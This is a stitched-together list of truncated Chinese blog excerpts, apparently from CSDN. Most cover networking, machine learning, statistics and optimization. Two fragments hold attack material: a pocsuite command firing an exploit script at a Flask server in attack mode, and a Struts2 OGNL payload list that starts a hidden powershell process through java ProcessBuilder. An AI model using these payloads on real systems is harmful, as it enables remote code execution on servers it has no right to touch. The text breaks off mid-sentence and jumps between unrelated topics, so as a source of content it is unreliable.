nginx wiki jira zabbix jumpserver 重启需要电话通知我们？nginx 磁盘90%阈值需要电话通知我们？ 解刨：进程重启需要电话通知给我们 关键点：如何才能知道进程重启了(可以通过获取进程的运行时间) ps -p 进程pid -o etimes system.run[ps -p $(sudo netstat -lntup|grep 10051|gre
https://pypi.tuna.tsinghua.edu.cn/packages/7d/2a/2fc11b54e2742db06297f7fa7f420a0e3069fdcf0e4b57dfec33f0b08622/Pillow-8.4.0.tar.gz
前言 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ，模板引擎则使用 Jinja2 。Flask使用 BSD 授权。 Flask也被称为 “microframework” ，因为它使用简单的核心，用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。 一、 F
一、基本概念 1.1 基本编辑距离的定义 在学习Levenshtein 距离的时候，其定义为： 基础的编辑距离只有3种原子操作： 插入1个字符，删除1个字符，更改1个字符. 且3种操作的代价均为1. 设串A为a1 a2 ... am, 串B为b1 b2 ... bn；将串A经过
1、物理层 物理层定义的是规程 ( procedure ) ，而不是协议 ( protocol ) ，所以不在此讨论。 2、数据链路层 （1）点对点协议 PPP ( Point-to-Point Protocol ) 。 标志字段 F ( Flag ) 是 PPP 帧的定界符，规定为 0x7E ，二进制为 01111110 。 地址字段 A 规定为 0xFF ，二进制为 111111
1、可测函数及其与简单函数的联系： 可测函数：若为定义在可测集上的广义实值函数，若，点集为可测集，则为上的可测函数，在上可测；简单函数：可测集可以分为有限个不相交的的可测集，且，若函数在每个可测集上取值都为常数，则称上的函数为简单函数；特征函数：对于集合，其特征函数为；则简单函数可以表示
HDLC协议是数据链路层协议 7E FE 27 7D 7D 65 7E 011011111011111000 00011101111111111110
1、命令行 root@kali:~/code# pocsuite -r exp-flask.py -u http://192.168.142.132:8000 --attack ,------. ,--. ,--. ,----. {1.8.5-nongit-20211111}| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. || '--' | .-. | .--( .-'|
看了几篇LD的相关文章，都只有公式没有相关的解释，所以尝试自己理解一下。 等位基因(alleles)： 同一位点上可能出现的基因，例如ABO血型基因基因型(genotype)： 同一位点上两个等位基因的组合。基因频率(allele frequency)：人群中一个等位基因占该位点全部基因的比例。基因型频率(allele
1 目标函数（总） 论文笔记:Temporal Regularized Matrix Factorization forHigh-dimensional Time Series Prediction_UQI-LIUWJ的博客-CSDN博客 1.1 求解W 我们留下含有W的部分： 然后对wi求导 线性代数笔记：标量、向量、矩阵求导_UQI-LIUWJ的博客-CSDN博客 而是一个标量，
今天要了解的基础知识是连续型随机变量的概念，常见的连续型随机变量分布。 连续型随机变量的定义是若一个随机变量的分布函数可写成，则该随机变量可称为连续型随机变量，其中为该连续型随机变量的密度函数。连续型随机变量有哪些基本性质呢? (1)若连续型随
刚做了练习题，踩了点坑，特意记录一下。 1、ppp数据帧删除0后需要有空格。 2、一个PPP帧的数据部分（用十六进制写出）是7D 5E FE 27 7D 5D 7D 5D 65 7D 5E。试问真正的数据是什么（用十六进制写出）？ 答： 7D 5E FE 27 7D 5D 7D 5D 65 7D 5E 为 7E FE 27 7D 7D 65 7E （注意每个字符之间也
1、正向传播 计算图（红色部分不属于时间步t）： 公式： 2、反向传播 GRU反向传播的计算图（红色部分不属于时间步t）： 根据计算图，从上往下推导反向传播的公式。 对于输出激活函数是softmax，损失函数是交叉熵的情况，常用的公式是：
先考虑一个样本（输入和激活都是向量而不是矩阵） 正向传播： g是激活函数，例如tanh 输出的激活函数是softmax，损失函数是交叉熵 损失函数对所有时间步求和 以上五个式
目录 1.协同过滤算法族的不足 2.逻辑回归算法 3.Poly2算法 4.FM算法 5.FFM 1.协同过滤算法族的不足 之前的协同过滤算法族局限在于，它仅仅关注用户与物品的交互信息（受限于共现矩阵），而忽视了用户，物品，场景点信息，这使得协同过滤算法在进行推荐的时候忽视许多其他有用的信息。机器
加法模拟器 链接：https://ac.nowcoder.com/acm/problem/22007 来源：牛客网 题目描述 牛牛渐入佳境，他准备做一个加法模拟器来玩玩，输入两个数，分别打印这两个数的横式和竖式运算式子。 输入描述: 输入两个整数a, b 以空格隔开 0 <= a, b <= 1000 输出描述: 第一行打印横式运算式子
超高斯分布： 超高斯分布式指随机过程的四阶累计量恒大于零，并且关于其均值对称分布。相对于高斯分布，超高斯分布的随机过程分布区域较宽，呈现较宽的拖尾。工程中对于超高斯过程常常只指明其偏斜度为0，峭度大于0，即： 亚高斯分布： 亚高斯分布是指随机过程的四阶几类恒小于0，并且关于其
前言： 目录： 1： 总体和样本 2： 统计量和常用统计量 3： 分布(卡方分部 ) 4： t 分布和 F分布 一 总体和样本 例： 要研究某校5000个学生的身高 目的： 用部分的数据推断出总体未知参数 总体： 研究的对象全体，5000个学生
目录： 马尔科夫过程 马尔科夫奖励过程 马尔科夫决策过程 MDPs的拓展 1.马尔科夫过程 Markov decision processes formally describe an environment for reinforcement learning, where the environment is fully ovservable. 大部分的RL问题都能用MDPs来描述 最优控制问题
原地址：https://zhuanlan.zhihu.com/p/79657669 1. 前向传播 假设 为 的矩阵（其中， 为样本个数（batch size）， 为特征维数）: 与 的维数为 为 的矩阵， 与 的维数为 为 的矩阵， 与 的维数为 为 的矩阵， 前向算法： 假设输出为 维，则
（渐进记号的性质）假设f(n)和g(n)为渐近正函数。证明或反驳下面的每个猜测。 a. f(n)=O(g(n))蕴含g(n)=O(f(n))。 b. f(n)+g(n)=θ(min(f(n), g(n))。 c. f(n)=O(g(n))蕴含lg(f(n))=O(lg(g(n)))，其中对所有足够大的n，有且。 d. f(n)=O(g(n))蕴含。 e. f(n)=。 f. f(n)=O(g(n))蕴含g(n
可以直接运行测试： import hashlib import time import requests byteTable1 ="D6 28 3B 71 70 76 BE 1B A4 FE 19 57 5E 6C BC 21 B2 14 37 7D 8C A2 FA 67 55 6A 95 E3 FA 67 78 ED 8E 55 33 89 A8 CE 36 B3 5C D6 B2 6F 96 C4 34 B9 6A EC 34 95 C4 FA 72 FF B8 42
测试POC字典： redirect:%25{3*4} redirect%3A%24%7B3%2A4%7D action%3A%24%7B3%2A4%7D 执行命令： # 进行url编码 redirect:${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"powershell.exe","-NonI","-W","Hidden","-NoP"
4.5 几何规划 单项式与正项式几何规划凸形式的几何规划例子 单项式与正项式 函数定义为： 函数f被称为单项式函数，或简称单项式。单项式的指数可以是任意实数，但系数c非负。 单项式的和，成为正项式函数，或简称为正项式，具有下列形式： 正项式对于加法、正数乘和非负的伸缩变换，以及平方运
4.3 线性规划问题 例子线性分式规划 线性规划 目标函数和约束函数都是仿射函数，问题则称为线性规划。一般的线性规划形式: 其中，显然线性规划问题是凸优化问题。 因为不等式约束函数和等式约束函数都是仿射函数，所以可行集是一个多面体。 所以也就是相等于在多面体中找一个使得最
